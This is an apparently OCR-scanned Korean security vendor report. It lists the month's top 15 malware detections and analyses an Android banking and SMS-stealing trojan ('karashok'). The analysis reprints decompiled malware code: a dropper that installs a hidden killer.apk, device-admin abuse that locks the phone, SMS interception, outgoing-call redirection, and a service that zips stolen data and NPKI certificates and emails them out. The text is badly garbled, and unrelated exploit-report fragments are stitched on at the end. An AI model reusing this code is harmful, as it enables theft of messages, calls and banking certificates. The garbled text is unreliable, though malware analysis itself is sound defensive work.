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9 AHIETOP15

4 AHLTE Top 15 AFSKH PCOJIA EHXIE QT ES T [HIO 2 ME5HSA0IC

20161 122] 24 AT E Top 15 2IAEN|Mi= XIHE0| 212} 12,3915 XIXIRE GHETES F, 291 MiscKeygen AHTEE
Hlsll= 25 Top3E5 oM IA| =97 Li2iZIC

CHAI AHEAH| Misc Suspicious KCP2} X[ 791995 Misc.HackTool WinActivatorQ| Top3 &201| 2|AEY E|iCt

MEH 1918 XEX[S Misc.Suspicious KCPE KCP2| ZX| 2E & HOHFQPH0| Qb=+ BT BEO|| CHolA EIX[SH XHH5t= BXE2E
HEAIRe] FoP7t 013N EiX[SH= LIEOIC

=2 = etdTE FItHE FHE2] SAZERS)
1 NEW Misc.Suspicious KCP Etc 1710
2 = Misc.Keygen Trojan 715
3 t4 Misc.HackTool.WinActivator Trojan 587
4 NEW Trojan.Generic.15542396 Trojan 334
5 NEW Gen:Adware.BrowseFox.1 Adware 31
6 t3 Adware.Generic1409039 Adware 288
7 15 Adware Kraddare.295936 Adware 270
8 NEW Gen:Variant.Adware.Kraddare.27 Adware 270
NEW Trojan.32041520 Trojan 260
10 NEW Gen:Trojan.Heur.4yXad4KXWZ2eG Trojan 227
11 NEW Gen:Trojan.Heur2 JPzy0@aiXa8Qe0 Trojan 203
12 NEW Misc.Agent. 126672 Trojan 193
13 NEW Gen:Variant.Kazy.785763 Trojan 181
14 NEW GenTrojan.Heur2.CTR.28C5aamYi4bj Trojan 171
15 NEW Worm.Conficker Worm 161
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[Trojan.Android.SMS.Stech]
ofdIC FA HLTA

0/AJ2 BESH= ML HI0| L SIS WIE/T UL, T2tk ERIE 242 SIsH 52 B0| WHEH Anjy

ADIY Ao 2 SX2 S 8EE EFESHCR '5’“1} ZZ YA Bl A0 YS2 28EEE EFoP| 2ol B == o4bEA
AHofl= SHEZ =1 oD LS| 2|l ALt M0 U= oFdUS L] 2ot EX| £ 7|S AIZICL Ofi= PC &322 E0fA
M0|= 7ML 2 E2T(dropper)2t XISiCt, 2HIY AU O 7|-S ALE ol 01 7|8 AFEStE Ol = ASEM AlAE
SS 21| 5t0f YEES %0/7| /gt YH2= 2oIct,

=4 YU 2220 “Killerapk "2tz AEUS BRI ULH LlshA} 7(710f 2 apkE %] £ 7S AR, 0|1F 2XlE
ofdU(killerapk)2 AHEXAS] S8EEE 7 St0 sHHOfIAH| FESHCE 12|11 AGH0| XIRX|7| T7K| =7 1ML = oAt 7|7|2]
HE AES SAXA HS s,
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2. AT AN £

o =1

24 O YL ERTHO} EF Sl op

EXotH Ot J-0A E2 LS| 2|l A0 EXtohs AIUS &2l &+ AU

4 | b9224d486350e52d9797883935b
A assets
L META-INF
& res

| ] killer.apk

O 1] E8H Iy 2=

EZ2= AR 2|aAU0| b Ax|et $EY SEE 2ol 7|7 22Xt

SIFI9} 212 OFY Rl SEEI Oh0| HY Bt

TSt ESE st

L=

CH2 2 20i|A E0|50| AEZ|TOIE FEE MainActivitydS &

ot 4= QUL

<ppplication android:these="@style/AppTheme" android:label="@string/app_name” android:icon="gm=ipm
<activity android:names"com.father. karashok.MainActivity”>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>

<service android:name="com.father.karashok.service.KarashokService” android:exporteds="true"»
dakass £114

(23 2] L HAE (AEZQIE Z2A)

CHS 12 32 E2Ho| A A

DeviceReceiver
onDisableRegeuested()

MainActivity
onCreate()

KarashokService
startLoad()

GuardReceiver
onReceive()

D8 3] EEH FRIAC HY EE:

ESTsoft 27!

%E.JEI'_A'I copyright by Estsoft Corp.All rights reserved.
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73 4= ASRBOIED| H|% A% FES H0| £ UL MY AEE 1S S

- KarashokService &34
- Of0|2 H|2Hd 5t
= 7|7 | M2 Xt st @F

AL A S T L | UMY VTN LML SIS |

IncresestsiChange incresentalfnange = Schange:

if (incrementalChange 1= mull) {
incr alChange spateh| “oalreate. {Langdroid/os/Bundle; |v°, this, savedisstanceSiate);
return;

3

super onCraats | sauvedinsTancastate
CompileCon?ig. 15 _FIRST_OPEN - ©
startService(mew Intentithis, <srashokService.class));

LS i g=ril L B {}s i ivity.cless. getuase(]], 2, 1);
if (Buildonfig.Denus) {

Intent intent = mew Intest(“sndroid.app.sction. AD0_DEVICE_aDIN"];

intent. putExtra| “android. soo. extra DEVICE_AIFIN, mew Comp { )i velass, gethisme (1))

startictivity|lntent)

t
finishi};

[38 4] MainActivity2] /E AIZt 32

ERME= SEES S A717| fiol TisHAZt 7|7 | 22| K} 2t sHRIE A= oFE AIE 2tH

717 |2 Xt et oMl Al Al 25 == Z= 0lCt

public CharSequence onDisableRequested(Context context, Intent intent) {

IncrementalChange incrementalChange = $change;
if (incrementalChange != null) {
return (Char } iner Ichange.access$dispatch(“onDisableRequested. (Landroid/content/C

}

Intent cutOfDialog = context.getPackageManager().getLaunchIntentForPackage(”com.android.settings");
outOfDialog. setFlags(268435456);

context.startActivity(outOfDialog);

DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(“device policy™);

dpm. Lockhow( ) ;

new Thread(new AncnymousClassi(this, dpm)).start();

return BuildConfig.FLAVOR;

(22 5] 7171 2r2) Rt 2 EHH| AE Al $8lElE SE

= C2

QNEZ|LOIE|M KarashokServiceE 28t A7 |0 KarashokService= E&
HSAIZICE DHok ZHX| 261H assetsLHF 0| EXHSH= apkE killerapk 2 SAFSH HX|E Tl StCt,

public class CompileContig {

public static /¥ synthetic */ IncrementalChange $change = null;
public static final boolean DEBUG = false;

public static boolean IS_FIRST OPEN = true;

public static final String SON_APK_PATH = "killer.apk”;

public static final String SON_PACKAGE_NAME = “com.son.karashok";

23 6] EF W7 X HE

O3 72 £ 7 |X|2| SAF R EX|E Tlsk= 3= O|c

try {

if (PluginManager.getInstance().getPackageInfo({CompileConfig.SON PACKAGE NAME, @) != null)
openAssertsApk(this, CompileConfig.SON_PACKAGE_NAME);
return;
¥
String cacheDirPath = getCacheDir() + “/killer.apk";
if (copyApkFromAssets(this, CompileConfig.SON_APK_PATH, cacheDirPath)) {
try {
int re = PluginManager.getInstance().installPackage(cacheDirPath, @);
startOpenListenerThread();
KarashckToast.show(re == PluginManager.INSTALL_FAILED NO_REQUESTEDPERMISSION ¥ "\uSh
} catch (RemoteException e) {
e.printStackTrace();
KarashokToast.show( "RemoteException”, (Context) this);

(23 7] B2 m7|X) 4X ¥ 4 3=
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Mx|E 7| X[ Asie S= & BroadcastRevceiver?! GardReceivers S| AISKEICE Of2 2 82 GardReceiverOf A
HM(BOOT_COMPLETED, PHONE_STATE, S)& s [f %} 5t ZECt AR5t killerapkE A#5t= KarashokServiceE

= ol

i

public void onReceive(Context context, Intent intent) {
IncrementalChange incrementalChange = fchange;

if (incrementalChange != null) {
incrementalChange.access$dispatch("onReceive. (Landroid/conten
return;

context.startService(new Intent(context, KarashokService.class));

}

[28 8] KarashokService AH|A &3 3

OF2il = GardReceiver7| 2= M S E0|C}

android.intent.action TIME_SET AlZHo| HEE o
android.intent.action.DATE_CHANGED SR EFE
android.intent.action.TIMEZONE_CHANGED HZFEAMZICH7}HFE
android.intent.category, HOME EEHY
android.intent.action. BOOT_COMPLETED HEo| a5
android.intent.action.PHONE_STATE TSIl HAE of
android.intent.action. NEW_OUTGOING_CALL Has 4 o
android.net.conn.CONNECTIVITY_CHANGE HESZ HEf7} HAS 1)
android.intent.action USER_PRESENT ZZoiH| HRUAS
android.intent.action.MEDIA_MOUNTED QI 0|Cjof7} OF2EE
android.intent.action. ACTION_POWER_CONNECTED QI TS 7|7 |2f AT 1)
android.intent.action. ACTION_POWER_DISCONNECTED QIS et 7(712] AZ0| ZoE
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killerapk 24 (=5 IH7|X])

Killerapk= F2 2| AfH] A0 2fs @7t E £, AA=|H Ol T3 92+ 20| 2742] 2AHE 0|ZHK AHSALS| SMS, TS

HEE YFFIC} T2 CHE MHIAE 02310 SRIRISME EFiol= WIS S-St EFE SMS, HattHs, Z2RIS M= aig
Ao MAEH E-Mail 2 ZEE TSI ALSALL] EHE REAIICL
MainActivity SMSReceiver DeilReceiver
ARt e | | sesvessan
:
MainService
EmailService <=4
L
EmailService st
e
onabas 3
I
e W E
E-Mail2 &
[28 9] E&H killer.apke] ZE MM SET
Z|= MainActivityZ 2IAEIH Ot It 20| QIFIEE 02510 MainServiceE o, ALSXIOIA| 7|7 | 22]Xt Aets
S76HA| ECt
;:?“l;:"ﬁ“‘”i. e Tl e e e R e
|'-f:n=!'1-¢-t=ul !:lsl:- '
[3& 10] HER|ZSIE M3l FE
12|10 2AH7} SEISHA| E|H, SEEE 2JAItH & SMSReceiver, DailReceiverE 012510 AL2XI2| SMS, HEHHSE EE5t=
RS SABICL SMSReceiver= ALEAP|ERRIC ZRE & W2 SMS HEE EFSI0, Databaselfl MEsH= WHE +=Hoh=

Gl OF= Ot 120l Af ZHolgt 4= QL.

if(argl3 != null && {"android.provide:.‘Pelephony.sﬂs‘_R!C'![\fStI".cqunlsla:ng_gaf_ﬁcticln{]II} {
Bundle v0_1 = argl3.getExtras(}:
if(v0_1 1= mull) {
chject v7 = v0_l.get{"pdus};
int v8;
0; v8 < v7.length; ++v8) |
sage v0_2 = SmsMessage.createFromPdu(v7[v8]):
vl = v0_2.getDisplayMessageBody () .toJtring(};
v4 = v0_2.getOriginatingAddress();
Arraylist w10 = new ArrayList();
& v0_3 = new e(¥l, String.valueOf{com.android.c.a.a{}}, 1, v4, 1);
vid.add(v0_3);
if(f.alvs.i(), #0_3.d0)}} |
this.abortBroadcast(};
}

v9.a(v0_3);
¥
]

}

[33 11] SMS 3Y &3 3
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DailReceiver2| B2 slid 717|0flM EtI0fA| 2AIgt et MSE HFSI0] Y| Databasedll MYst= WS +=Yetrt. Ot I3 12
o 20| sl 71712 S2t 715 BHE 25 ols WS =™ + Ut

public void onReceive (Context argl0, Intent argll) [
if(!DeilReceiver.d) |
this.b = new a(arglil);
this.a = argl0.getSystemService (“phona”);
this.a.listen(this.b, 32);
PailReceiver.d = true;

1a ("androld.intent.action.NEW CUTGOING CALL"]) {
this.c = this.getResultData();
if (this.a({arglD, this.o}) {
com.andreid.a.a v7 = new com.android.a.a(azrglQ);
vi.al};
String v8 = thias.alargll, ¥v7);
if(lvB.equals{"null®)) {
StandOutWindow.a(argld, SimpleWindow.class);
StandOutWindow.a (arglD, SimpleWindow.class, 0);
Bundle v4 = new Bundle({};
v4.putdtring ("number", this.e);
v4.put3tring (“tonumber®, v8);

indow.a (argl0, SimpleWi .class, 0, 1, w4, BimpleWindow.class, 0);
*7.a{new com.android.b.e(c.alargl0), String.velueOf({com.android.c.a.a(}}, 10, this
-2 1)3);

this.setResultData (v8);

}

vi.b();:
this.abortBroadcast();
}
1

a3 12] 831715 €3 2=

Database= 2| 22 X{ZA 9| databases CIEIEZ|0| base.db 0|22 2 HEL|H, 17! 132 = Al A| HO|S3 MM517| 25t
He S Eolst 4~k

public b(Context argd) |
super (argd, “base.db”,

null, 1);

public vold SgLizeDatabase arg2) |

BrgZ.execSGL|-oreate table bn-cl id integer primary key autocinorement, daviod
4292, execil(“croate tahle joba{_id integer primary key autoincrement, Type

arg.exec2QL{"create table domq {amsid text, contactid text, callid text};"}
arg2.execiil{~create table smas{_id integer primary key sutoinarement, body

argl.execSQL(“create table people| id integer primary key sutsincrement, use

public vold onUpgrade (SQLiteDatabass arg2, int argl, int azgd) [
argl.exec3QL ("DROP TABLE IF EXISTS base®);
argl.execSQL(“DROF TABLE IF EXISTS joba®);
arg?.execSQL("DROP TABLE IF EXISTS dolng”):
argl.execiQL{"DROP TADLE IF EXISTS smss®);
argl.execsQL (“DROP TABLE IF EXISTS paople”)
this.onCreate (arg2);

(23 13] HolE 44 H2|

MEX} 717|0A St JHQIEHES0| B2 WOl com.father.karashok

AlR| S5 HOflM MHIAZ S5 0| AlSHE|H J21 142} 20
RS atolgr 4 Qlrt.

9| Plugin CIZ|E2| LYO0f| Xt&| Y22 HX|7} Eli= 2

2 3 Is -1
Y 5:58 com.son. karashok
roothnko fdalafdatdm father. hara.d\d(f?lurln l Is -1 com.son, ks

[drwc-====- ul_afd  ul_aB4 2016-02-11 15:58 [Signature
ldriesenn W_aB4  ul_aB4 2018-02-11 15:58 |apk
|druw====-= ul_afd  ul_abd Z016-02-11 15:58 |dalvik-cache
ldrrce===== ui_e84  uil_aBd 2018-02-11 15:58 |data

----- ul_aBd  ul_abd 2016-02-11 15:58]1ib

(23 14] £ M7|X] Y%

S T3 152} 20| E5{st 2SS MEYT do THUS =S = U=, MFE SQLite3HEH2] dbIFAE SQLite Browsers
OZ3iAl &QlcHEH Of2f 733t 22 B0l 2t H|O|S0tC MYTi= RS2 FEE SoI0] 2 g U0| 717104l ofmst
FESS HOIF=Al #210] 7ksoitt,

ri-re---- ul_aBd4 ul_afd 36864 2016-02-11 16:00 base.db
ik ull_afd  ull_add 12824 2016-02-11 16:00 base.db-journal

com. son, karashok/databases !l

(3% 15] Cid| T R
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4 ] Tables (7)

4 | android_metadata CREATE TABLE android_metadata (locale TEXT)
2 tocale TEXT  ‘locale’ TEXT

4 || base CREATE TABLE base(_id integer primary key autoincrement, dey
(| int. "_id" integer PRIMIARY KEY AUTOINCREMENT
|=) devicename  text “devicename’ text NOT NULL
[o) ceptnumber  text  “ceptnumber text
|| sendnumber text “sendnumber’ text
|l saddr text  saddr text

+ |1] doing CREATE TABLE doing(smeid text, contactid text, callid text)
=) smsid text  emsid text
|=) contactid  text contactid text
Q callid tentcallid text

[33 16] 20| AHE8H= DB H|0|E HE (SQLite Browser ALE)

0

mlﬂl

Z|= MainActivityZ| A3 xH QIEIE.
El=6|, EmailService= s 71712
smtp Z2EEZS 0|835}10 X[FE E-Mail
2 I}

.J

310
o

==
==y

S0 MalnService? b =311, 0f= CHA| E'EUEE 0|2
M HEE HF6I0 0|18 zip2 = YESH= S
HES ﬁfﬂl ot O3 172 24 HollA EFist Jé?

1€
010|Z
—_
=2

=4 s ESRgmal L com; aBE8EL"
Mgl oom AZOGRSL", 3
Fihatmail comiexts

85 fgnall . com;aFO84nSL"
el AL it Mrdmpyaiihsoaiar s

gt B gmall  conadBeaRse=,

publie woid run{) |
label 0:
while (this.a) [
try {
EmailService.c = EmailService.b.h();
if("null”.equals(EmailService.c)) {
this.a();
Thread.sleep (3000);
continue;

1

this.a();
if(this.b{)) {

[etzing v0_1 = String.velueOf (EmailSezvice.£f] * new d(5).a() + ".zip"|

TE(this.a(v0 117 |

if(ethis.b{vD 1)} |
this.c(};
1

thig.e(v0_1);

¥

private| boolean b(dtring argé) {]
boolean +0;
try |
String wl_1 = c.af();
b v2 = new bic.a{vl_1}), c.bi(vl_1}};
v2Z.a(naw sStringl[]{c.a{c.bii}}};
divZ.ell);:

.C("NPKI: *
b ("HPRI here"};

+ com.android.c.c.a{({Cont

ext)this)} + EmailService.o)

-a(argé);
-a(true) ;

catch (Exception vl} |

}

return v0;

}
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meiz.le2ui.com http://meizl Jle2uil lcom:80/marketdatas/apk/ChineseVideo2.11.1.apk
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package Akdroid.oa: T
import java.io.Serislizable;

public class Binderfroxy implesents Sezislizable [
public int sObject; i)
public int sOrgue;
private static final long ser:ialVersicallID:

-
-
-
public BinderProxy() ( -
supezils -
this.=0bject = 322420463; -
this . sfrgos = 322420463;
1 -l
—art
-
e

Figure 3 Malare app tnggers the vuinerabily
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Figure 4: Makvare app explois the system
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public class Installipk |
public InstallRpie() {
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I

woid execCommand (ftring argd) |

pablic static
Tww Thread (pew Rumnable

try |
¥i = Puncise.getRuntise () .exec(vl):
Log. 4 ("Updatebelpor”, “Eiat-):
vz, uaicfoz(}:

catch{fxception vi) |

Figure 5: App sdently installs other maiware
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